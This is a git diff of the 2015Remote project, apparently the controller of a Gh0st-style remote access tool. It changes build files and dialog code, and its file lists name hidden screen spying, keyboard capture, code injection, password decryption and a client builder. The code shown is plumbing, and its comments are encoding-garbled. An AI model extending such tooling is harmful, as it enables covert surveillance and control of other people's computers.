-    <None Include="res\Cur\MutiDrag.cur">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\icon1.ico">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\cmdshell.ico">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\audio.ico">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\file.ico">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\pc.ico">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\dword.ico">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\string.ico">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\4.cur">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\2.cur">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\3.cur">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\1.cur">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\cursor5.cur">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\arrow.cur">
-      <Filter>资源文件</Filter>
-    </None>
-  </ItemGroup>
-  <ItemGroup>
-    <ClInclude Include="2015Remote.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="stdafx.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="targetver.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="Resource.h">
-      <Filter>主Dlg</Filter>
-    </ClInclude>
-    <ClInclude Include="TrueColorToolBar.h">
-      <Filter>真彩Bar</Filter>
-    </ClInclude>
-    <ClInclude Include="SettingDlg.h">
-      <Filter>设置Dlg</Filter>
-    </ClInclude>
-    <ClInclude Include="iniFile.h">
-      <Filter>设置Dlg</Filter>
-    </ClInclude>
-    <ClInclude Include="IOCPServer.h">
-      <Filter>通信类</Filter>
-    </ClInclude>
-    <ClInclude Include="CpuUseage.h">
-      <Filter>CPU</Filter>
-    </ClInclude>
-    <ClInclude Include="zlib.h">
-      <Filter>缓冲区</Filter>
-    </ClInclude>
-    <ClInclude Include="zconf.h">
-      <Filter>缓冲区</Filter>
-    </ClInclude>
-    <ClInclude Include="Buffer.h">
-      <Filter>缓冲区</Filter>
-    </ClInclude>
-    <ClInclude Include="ScreenSpyDlg.h">
-      <Filter>远程控制</Filter>
-    </ClInclude>
-    <ClInclude Include="FileManagerDlg.h">
-      <Filter>远程文件</Filter>
-    </ClInclude>
-    <ClInclude Include="EditDialog.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="2015RemoteDlg.h">
-      <Filter>主Dlg</Filter>
-    </ClInclude>
-    <ClInclude Include="FileTransferModeDlg.h">
-      <Filter>远程文件</Filter>
-    </ClInclude>
-    <ClInclude Include="TalkDlg.h">
-      <Filter>即时消息</Filter>
-    </ClInclude>
-    <ClInclude Include="ShellDlg.h">
-      <Filter>远程终端</Filter>
-    </ClInclude>
-    <ClInclude Include="SystemDlg.h">
-      <Filter>远程系统管理</Filter>
-    </ClInclude>
-    <ClInclude Include="AudioDlg.h">
-      <Filter>远程音频</Filter>
-    </ClInclude>
-    <ClInclude Include="BuildDlg.h">
-      <Filter>生成客户端</Filter>
-    </ClInclude>
-    <ClInclude Include="RegisterDlg.h">
-      <Filter>远程注册表</Filter>
-    </ClInclude>
-    <ClInclude Include="ServicesDlg.h">
-      <Filter>远程服务</Filter>
-    </ClInclude>
-    <ClInclude Include="VideoDlg.h">
-      <Filter>远程视频</Filter>
-    </ClInclude>
-    <ClInclude Include="Audio.h">
-      <Filter>远程音频</Filter>
-    </ClInclude>
-    <ClInclude Include="InputDlg.h">
-      <Filter>远程文件</Filter>
-    </ClInclude>
-  </ItemGroup>
-  <ItemGroup>
-    <ClCompile Include="2015Remote.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="stdafx.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="2015RemoteDlg.cpp">
-      <Filter>主Dlg</Filter>
-    </ClCompile>
-    <ClCompile Include="TrueColorToolBar.cpp">
-      <Filter>真彩Bar</Filter>
-    </ClCompile>
-    <ClCompile Include="SettingDlg.cpp">
-      <Filter>设置Dlg</Filter>
-    </ClCompile>
-    <ClCompile Include="iniFile.cpp">
-      <Filter>设置Dlg</Filter>
-    </ClCompile>
-    <ClCompile Include="IOCPServer.cpp">
-      <Filter>通信类</Filter>
-    </ClCompile>
-    <ClCompile Include="CpuUseage.cpp">
-      <Filter>CPU</Filter>
-    </ClCompile>
-    <ClCompile Include="Buffer.cpp">
-      <Filter>缓冲区</Filter>
-    </ClCompile>
-    <ClCompile Include="ScreenSpyDlg.cpp">
-      <Filter>远程控制</Filter>
-    </ClCompile>
-    <ClCompile Include="FileManagerDlg.cpp">
-      <Filter>远程文件</Filter>
-    </ClCompile>
-    <ClCompile Include="EditDialog.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="FileTransferModeDlg.cpp">
-      <Filter>远程文件</Filter>
-    </ClCompile>
-    <ClCompile Include="TalkDlg.cpp">
-      <Filter>即时消息</Filter>
-    </ClCompile>
-    <ClCompile Include="ShellDlg.cpp">
-      <Filter>远程终端</Filter>
-    </ClCompile>
-    <ClCompile Include="SystemDlg.cpp">
-      <Filter>远程系统管理</Filter>
-    </ClCompile>
-    <ClCompile Include="AudioDlg.cpp">
-      <Filter>远程音频</Filter>
-    </ClCompile>
-    <ClCompile Include="BuildDlg.cpp">
-      <Filter>生成客户端</Filter>
-    </ClCompile>
-    <ClCompile Include="RegisterDlg.cpp">
-      <Filter>远程注册表</Filter>
-    </ClCompile>
-    <ClCompile Include="ServicesDlg.cpp">
-      <Filter>远程服务</Filter>
-    </ClCompile>
-    <ClCompile Include="VideoDlg.cpp">
-      <Filter>远程视频</Filter>
-    </ClCompile>
-    <ClCompile Include="Audio.cpp">
-      <Filter>远程音频</Filter>
-    </ClCompile>
-    <ClCompile Include="InputDlg.cpp">
-      <Filter>远程文件</Filter>
-    </ClCompile>
-  </ItemGroup>
-  <ItemGroup>
-    <ResourceCompile Include="2015Remote.rc">
-      <Filter>资源文件</Filter>
-    </ResourceCompile>
-  </ItemGroup>
-  <ItemGroup>
-    <Text Include="..\..\ReadMe.txt" />
-  </ItemGroup>
-  <ItemGroup>
-    <Image Include="res\toolbar1.bmp">
-      <Filter>资源文件</Filter>
-    </Image>
-    <Image Include="res\Bitmap_4.bmp">
-      <Filter>资源文件</Filter>
-    </Image>
-    <Image Include="res\toolbar2.bmp">
-      <Filter>资源文件</Filter>
-    </Image>
-    <Image Include="res\Bitmap_5.bmp">
-      <Filter>资源文件</Filter>
-    </Image>
-    <Image Include="res\webcam.ico">
-      <Filter>资源文件</Filter>
-    </Image>
-  </ItemGroup>
-</Project>
--- a/server/2015Remote/2015Remote.vcxproj.user
+++ b/server/2015Remote/2015Remote.vcxproj.user
@@ -1,3 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-</Project>
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -125,7 +125,7 @@ protected:
 	}
 	// <20><><EFBFBD><EFBFBD>
 public:
-	CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL);	// <20><>׼<EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
+	CMy2015RemoteDlg(CWnd* pParent = NULL);	// <20><>׼<EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
 	~CMy2015RemoteDlg();
 	// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	enum { IDD = IDD_MY2015REMOTE_DIALOG };
@@ -147,7 +147,18 @@ public:
 	void SortByColumn(int nColumn);
 	afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
 	static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
+	template<class T, int id, int Show=SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
+	{
+		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
+		T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
+		Dlg->Create(id, GetDesktopWindow());
+		Dlg->ShowWindow(Show);

+		ContextObject->hWnd = Dlg->GetSafeHwnd();
+		ContextObject->hDlg = Dlg;
+
+		return 0;
+	}
 	VOID InitControl();             //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
 	VOID TestOnline();              //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
 	VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, 
@@ -158,15 +169,15 @@ public:
 	VOID CreateNotifyBar();
 	VOID CreateSolidMenu();	
 	BOOL ListenPort();
-	BOOL Activate(int nPort,int nMaxConnection);
+	BOOL Activate(const std::string& nPort,int nMaxConnection);
 	void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
 	void SendMasterSettings(CONTEXT_OBJECT* ctx);
 	VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
 	Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
 	Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
 	MasterSettings m_settings;
-	static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
-	static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
+	static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
+	static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
 	VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
 	VOID SendSelectedCommand(PBYTE  szBuffer, ULONG ulLength);
 	// <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
@@ -182,7 +193,6 @@ public:
 	std::vector<DllInfo*> m_DllList;
 	NOTIFYICONDATA  m_Nid;
 	HANDLE m_hExit;
-	IOCPServer* m_iocpServer;
 	CRITICAL_SECTION m_cs;
 	BOOL       isClosed;
 	CMenu	   m_MainMenu;
@@ -231,6 +241,8 @@ public:
 	afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
+	afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam);
+	afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
 	afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
 	virtual BOOL PreTranslateMessage(MSG* pMsg);
@@ -250,4 +262,5 @@ public:
 	afx_msg void OnOnlineAuthorize();
 	void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
 	afx_msg void OnOnlineUnauthorize();
+	afx_msg void OnToolRequestAuth();
 };
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -260,20 +260,23 @@
    <ClInclude Include="AudioDlg.h" />
    <ClInclude Include="Buffer.h" />
    <ClInclude Include="BuildDlg.h" />
+    <ClInclude Include="CDrawingBoard.h" />
    <ClInclude Include="Chat.h" />
    <ClInclude Include="CPasswordDlg.h" />
-    <ClInclude Include="CpuUseage.h" />
    <ClInclude Include="CTextDlg.h" />
    <ClInclude Include="DateVerify.h" />
    <ClInclude Include="DecryptDlg.h" />
    <ClInclude Include="EditDialog.h" />
    <ClInclude Include="FileManagerDlg.h" />
    <ClInclude Include="FileTransferModeDlg.h" />
+    <ClInclude Include="file\CFileListCtrl.h" />
+    <ClInclude Include="file\CFileManagerDlg.h" />
+    <ClInclude Include="file\CFileTransferModeDlg.h" />
    <ClInclude Include="HideScreenSpyDlg.h" />
    <ClInclude Include="InputDlg.h" />
    <ClInclude Include="IOCPServer.h" />
+    <ClInclude Include="IOCPUDPServer.h" />
    <ClInclude Include="KeyBoardDlg.h" />
-    <ClInclude Include="parse_ip.h" />
    <ClInclude Include="proxy\HPSocket.h" />
    <ClInclude Include="proxy\HPTypeDef.h" />
    <ClInclude Include="proxy\ProxyConnectServer.h" />
@@ -283,6 +286,7 @@
    <ClInclude Include="RegisterDlg.h" />
    <ClInclude Include="Resource.h" />
    <ClInclude Include="ScreenSpyDlg.h" />
+    <ClInclude Include="Server.h" />
    <ClInclude Include="ServicesDlg.h" />
    <ClInclude Include="SettingDlg.h" />
    <ClInclude Include="ShellDlg.h" />
@@ -319,17 +323,21 @@
    <ClCompile Include="AudioDlg.cpp" />
    <ClCompile Include="Buffer.cpp" />
    <ClCompile Include="BuildDlg.cpp" />
+    <ClCompile Include="CDrawingBoard.cpp" />
    <ClCompile Include="Chat.cpp" />
    <ClCompile Include="CPasswordDlg.cpp" />
-    <ClCompile Include="CpuUseage.cpp" />
    <ClCompile Include="CTextDlg.cpp" />
    <ClCompile Include="DecryptDlg.cpp" />
    <ClCompile Include="EditDialog.cpp" />
    <ClCompile Include="FileManagerDlg.cpp" />
    <ClCompile Include="FileTransferModeDlg.cpp" />
+    <ClCompile Include="file\CFileListCtrl.cpp" />
+    <ClCompile Include="file\CFileManagerDlg.cpp" />
+    <ClCompile Include="file\CFileTransferModeDlg.cpp" />
    <ClCompile Include="HideScreenSpyDlg.cpp" />
    <ClCompile Include="InputDlg.cpp" />
    <ClCompile Include="IOCPServer.cpp" />
+    <ClCompile Include="IOCPUDPServer.cpp" />
    <ClCompile Include="KeyBoardDlg.cpp" />
    <ClCompile Include="Loader.c">
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
@@ -337,7 +345,6 @@
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
    </ClCompile>
-    <ClCompile Include="parse_ip.cpp" />
    <ClCompile Include="proxy\ProxyConnectServer.cpp" />
    <ClCompile Include="proxy\ProxyMapDlg.cpp" />
    <ClCompile Include="pwd_gen.cpp">
@@ -375,6 +382,7 @@
  </ItemGroup>
  <ItemGroup>
    <Image Include="res\Bitmap\authorize.bmp" />
+    <Image Include="res\Bitmap\DrawingBoard.bmp" />
    <Image Include="res\Bitmap\DxgiDesktop.bmp" />
    <Image Include="res\Bitmap\GrayDesktop.bmp" />
    <Image Include="res\Bitmap\note.bmp" />
@@ -388,6 +396,14 @@
    <Image Include="res\chat.ico" />
    <Image Include="res\decrypt.ico" />
    <Image Include="res\delete.bmp" />
+    <Image Include="res\DrawingBoard.ico" />
+    <Image Include="res\file\FILE.ico" />
+    <Image Include="res\file\Icon_A.ico" />
+    <Image Include="res\file\Icon_C.ico" />
+    <Image Include="res\file\Icon_D.ico" />
+    <Image Include="res\file\Icon_E.ico" />
+    <Image Include="res\file\Icon_F.ico" />
+    <Image Include="res\file\Icon_G.ico" />
    <Image Include="res\icon2.ico" />
    <Image Include="res\keyboard.ico" />
    <Image Include="res\machine.ico" />
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -0,0 +1,197 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <ClCompile Include="..\..\client\Audio.cpp" />
+    <ClCompile Include="..\..\client\MemoryModule.c" />
+    <ClCompile Include="..\..\common\aes.c" />
+    <ClCompile Include="2015Remote.cpp" />
+    <ClCompile Include="2015RemoteDlg.cpp" />
+    <ClCompile Include="AudioDlg.cpp" />
+    <ClCompile Include="Buffer.cpp" />
+    <ClCompile Include="BuildDlg.cpp" />
+    <ClCompile Include="Chat.cpp" />
+    <ClCompile Include="CPasswordDlg.cpp" />
+    <ClCompile Include="CTextDlg.cpp" />
+    <ClCompile Include="DecryptDlg.cpp" />
+    <ClCompile Include="EditDialog.cpp" />
+    <ClCompile Include="FileManagerDlg.cpp" />
+    <ClCompile Include="FileTransferModeDlg.cpp" />
+    <ClCompile Include="HideScreenSpyDlg.cpp" />
+    <ClCompile Include="InputDlg.cpp" />
+    <ClCompile Include="IOCPServer.cpp" />
+    <ClCompile Include="KeyBoardDlg.cpp" />
+    <ClCompile Include="Loader.c" />
+    <ClCompile Include="proxy\ProxyConnectServer.cpp" />
+    <ClCompile Include="proxy\ProxyMapDlg.cpp" />
+    <ClCompile Include="pwd_gen.cpp" />
+    <ClCompile Include="RegisterDlg.cpp" />
+    <ClCompile Include="ScreenSpyDlg.cpp" />
+    <ClCompile Include="ServicesDlg.cpp" />
+    <ClCompile Include="SettingDlg.cpp" />
+    <ClCompile Include="ShellDlg.cpp" />
+    <ClCompile Include="SortListCtrl.cpp" />
+    <ClCompile Include="stdafx.cpp" />
+    <ClCompile Include="SystemDlg.cpp" />
+    <ClCompile Include="sys\CCreateTaskDlg.cpp" />
+    <ClCompile Include="sys\CInjectCodeDlg.cpp" />
+    <ClCompile Include="sys\MachineDlg.cpp" />
+    <ClCompile Include="sys\ServiceInfoDlg.cpp" />
+    <ClCompile Include="TalkDlg.cpp" />
+    <ClCompile Include="TrueColorToolBar.cpp" />
+    <ClCompile Include="VideoDlg.cpp" />
+    <ClCompile Include="file\CFileManagerDlg.cpp">
+      <Filter>file</Filter>
+    </ClCompile>
+    <ClCompile Include="file\CFileTransferModeDlg.cpp">
+      <Filter>file</Filter>
+    </ClCompile>
+    <ClCompile Include="file\CFileListCtrl.cpp">
+      <Filter>file</Filter>
+    </ClCompile>
+    <ClCompile Include="IOCPUDPServer.cpp" />
+    <ClCompile Include="CDrawingBoard.cpp" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="..\..\client\Audio.h" />
+    <ClInclude Include="..\..\client\MemoryModule.h" />
+    <ClInclude Include="..\..\common\aes.h" />
+    <ClInclude Include="..\..\common\encrypt.h" />
+    <ClInclude Include="..\..\common\iniFile.h" />
+    <ClInclude Include="2015Remote.h" />
+    <ClInclude Include="2015RemoteDlg.h" />
+    <ClInclude Include="adapter.h" />
+    <ClInclude Include="AudioDlg.h" />
+    <ClInclude Include="Buffer.h" />
+    <ClInclude Include="BuildDlg.h" />
+    <ClInclude Include="Chat.h" />
+    <ClInclude Include="CPasswordDlg.h" />
+    <ClInclude Include="CTextDlg.h" />
+    <ClInclude Include="DateVerify.h" />
+    <ClInclude Include="DecryptDlg.h" />
+    <ClInclude Include="EditDialog.h" />
+    <ClInclude Include="FileManagerDlg.h" />
+    <ClInclude Include="FileTransferModeDlg.h" />
+    <ClInclude Include="HideScreenSpyDlg.h" />
+    <ClInclude Include="InputDlg.h" />
+    <ClInclude Include="IOCPServer.h" />
+    <ClInclude Include="KeyBoardDlg.h" />
+    <ClInclude Include="proxy\HPSocket.h" />
+    <ClInclude Include="proxy\HPTypeDef.h" />
+    <ClInclude Include="proxy\ProxyConnectServer.h" />
+    <ClInclude Include="proxy\ProxyMapDlg.h" />
+    <ClInclude Include="proxy\SocketInterface.h" />
+    <ClInclude Include="pwd_gen.h" />
+    <ClInclude Include="RegisterDlg.h" />
+    <ClInclude Include="Resource.h" />
+    <ClInclude Include="ScreenSpyDlg.h" />
+    <ClInclude Include="ServicesDlg.h" />
+    <ClInclude Include="SettingDlg.h" />
+    <ClInclude Include="ShellDlg.h" />
+    <ClInclude Include="SortListCtrl.h" />
+    <ClInclude Include="stdafx.h" />
+    <ClInclude Include="SystemDlg.h" />
+    <ClInclude Include="sys\CCreateTaskDlg.h" />
+    <ClInclude Include="sys\CInjectCodeDlg.h" />
+    <ClInclude Include="sys\MachineDlg.h" />
+    <ClInclude Include="sys\ServiceInfoDlg.h" />
+    <ClInclude Include="TalkDlg.h" />
+    <ClInclude Include="targetver.h" />
+    <ClInclude Include="TrueColorToolBar.h" />
+    <ClInclude Include="VideoDlg.h" />
+    <ClInclude Include="zconf.h" />
+    <ClInclude Include="zlib.h" />
+    <ClInclude Include="file\CFileManagerDlg.h">
+      <Filter>file</Filter>
+    </ClInclude>
+    <ClInclude Include="file\CFileTransferModeDlg.h">
+      <Filter>file</Filter>
+    </ClInclude>
+    <ClInclude Include="file\CFileListCtrl.h">
+      <Filter>file</Filter>
+    </ClInclude>
+    <ClInclude Include="IOCPUDPServer.h" />
+    <ClInclude Include="Server.h" />
+    <ClInclude Include="CDrawingBoard.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="2015Remote.rc" />
+  </ItemGroup>
+  <ItemGroup>
+    <Image Include="res\Bitmap\authorize.bmp" />
+    <Image Include="res\Bitmap\DxgiDesktop.bmp" />
+    <Image Include="res\Bitmap\GrayDesktop.bmp" />
+    <Image Include="res\Bitmap\note.bmp" />
+    <Image Include="res\Bitmap\proxy.bmp" />
+    <Image Include="res\Bitmap\Share.bmp" />
+    <Image Include="res\Bitmap\SpeedDesktop.bmp" />
+    <Image Include="res\Bitmap\unauthorize.bmp" />
+    <Image Include="res\Bitmap\VirtualDesktop.bmp" />
+    <Image Include="res\Bitmap_4.bmp" />
+    <Image Include="res\Bitmap_5.bmp" />
+    <Image Include="res\chat.ico" />
+    <Image Include="res\decrypt.ico" />
+    <Image Include="res\delete.bmp" />
+    <Image Include="res\icon2.ico" />
+    <Image Include="res\keyboard.ico" />
+    <Image Include="res\machine.ico" />
+    <Image Include="res\password.ico" />
+    <Image Include="res\proxifler.ico" />
+    <Image Include="res\proxy.ico" />
+    <Image Include="res\screen.ico" />
+    <Image Include="res\system.ico" />
+    <Image Include="res\toolbar1.bmp" />
+    <Image Include="res\toolbar2.bmp" />
+    <Image Include="res\update.bmp" />
+    <Image Include="res\webcam.ico" />
+    <Image Include="res\file\FILE.ico" />
+    <Image Include="res\file\Icon_A.ico" />
+    <Image Include="res\file\Icon_C.ico" />
+    <Image Include="res\file\Icon_D.ico" />
+    <Image Include="res\file\Icon_E.ico" />
+    <Image Include="res\file\Icon_F.ico" />
+    <Image Include="res\file\Icon_G.ico" />
+    <Image Include="res\Bitmap\DrawingBoard.bmp" />
+    <Image Include="res\DrawingBoard.ico" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="..\..\Release\ghost.exe" />
+    <None Include="..\..\Release\ServerDll.dll" />
+    <None Include="..\..\Release\TestRun.exe" />
+    <None Include="..\..\Release\TinyRun.dll" />
+    <None Include="..\..\x64\Release\ghost.exe" />
+    <None Include="..\..\x64\Release\ServerDll.dll" />
+    <None Include="..\..\x64\Release\TestRun.exe" />
+    <None Include="..\..\x64\Release\TinyRun.dll" />
+    <None Include="res\1.cur" />
+    <None Include="res\2.cur" />
+    <None Include="res\2015Remote.ico" />
+    <None Include="res\3.cur" />
+    <None Include="res\4.cur" />
+    <None Include="res\arrow.cur" />
+    <None Include="res\audio.ico" />
+    <None Include="res\bitmap\bmp00001.bmp" />
+    <None Include="res\Bitmap\Online.bmp" />
+    <None Include="res\bitmap\toolbar1.bmp" />
+    <None Include="res\Bitmap\ToolBar_File.bmp" />
+    <None Include="res\Bitmap\ToolBar_Main.bmp" />
+    <None Include="res\cmdshell.ico" />
+    <None Include="res\cursor5.cur" />
+    <None Include="res\Cur\Drag.cur" />
+    <None Include="res\Cur\MutiDrag.cur" />
+    <None Include="res\dword.ico" />
+    <None Include="res\file.ico" />
+    <None Include="res\icon1.ico" />
+    <None Include="res\My2015Remote.rc2" />
+    <None Include="res\pc.ico" />
+    <None Include="res\string.ico" />
+    <None Include="res\upx.exe" />
+  </ItemGroup>
+  <ItemGroup>
+    <Text Include="..\..\ReadMe.md" />
+  </ItemGroup>
+  <ItemGroup>
+    <Filter Include="file">
+      <UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
+    </Filter>
+  </ItemGroup>
+</Project>
--- a/server/2015Remote/AudioDlg.cpp
+++ b/server/2015Remote/AudioDlg.cpp
@@ -11,23 +11,15 @@

 IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)

-CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
-: CDialog(CAudioDlg::IDD, pParent)
+CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
+: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
 	, m_bSend(FALSE)
 {
-	m_hIcon			= LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO));  //<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>
 	m_bIsWorking	= TRUE;
 	m_bThreadRun	= FALSE;
-	m_iocpServer	= IOCPServer;       //Ϊ<><CEAA><EFBFBD>ĳ<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
-	m_ContextObject		= ContextObject;
+
 	m_hWorkThread  = NULL;
 	m_nTotalRecvBytes = 0;
-	sockaddr_in  ClientAddress;
-	memset(&ClientAddress, 0, sizeof(ClientAddress));        //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ض<EFBFBD>ip
-	int iClientAddressLen = sizeof(ClientAddress);
-	BOOL bResult = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddress, &iClientAddressLen);
-
-	m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";
 }

 CAudioDlg::~CAudioDlg()
@@ -60,11 +52,11 @@ BOOL CAudioDlg::OnInitDialog()
 	SetIcon(m_hIcon,FALSE);

 	CString strString;
-	strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_strIPAddress);
+	strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
 	SetWindowText(strString);

 	BYTE bToken = COMMAND_NEXT;
-	m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
+	m_ContextObject->Send2Client(&bToken, sizeof(BYTE));

 	//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
 	m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
@@ -92,7 +84,7 @@ DWORD  CAudioDlg::WorkThread(LPVOID lParam)
 		LPBYTE	szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize);   //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

 		if (szBuffer != NULL && dwBufferSize > 0)
-			This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
+			This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
 	}
 	This->m_bThreadRun = FALSE;

@@ -122,19 +114,16 @@ void CAudioDlg::OnReceiveComplete(void)

 void CAudioDlg::OnClose()
 {
-	// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
-#if CLOSE_DELETE_DLG
-	m_ContextObject->v1 = 0;
-#endif
-	CancelIo((HANDLE)m_ContextObject->sClientSocket);
-	closesocket(m_ContextObject->sClientSocket);
+	CancelIO();
+	// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	if (IsProcessing()) {
+		ShowWindow(SW_HIDE);
+		return;
+	}

 	m_bIsWorking = FALSE;
 	WaitForSingleObject(m_hWorkThread, INFINITE);
-	CDialog::OnClose();
-#if CLOSE_DELETE_DLG
-	delete this;
-#endif
+	DialogBase::OnClose();
 }

 // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>
--- a/server/2015Remote/AudioDlg.h
+++ b/server/2015Remote/AudioDlg.h
@@ -5,17 +5,14 @@

 // CAudioDlg <20>Ի<EFBFBD><D4BB><EFBFBD>

-class CAudioDlg : public CDialog
+class CAudioDlg : public DialogBase
 {
 	DECLARE_DYNAMIC(CAudioDlg)

 public:
-	CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);   // <20><>׼<EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
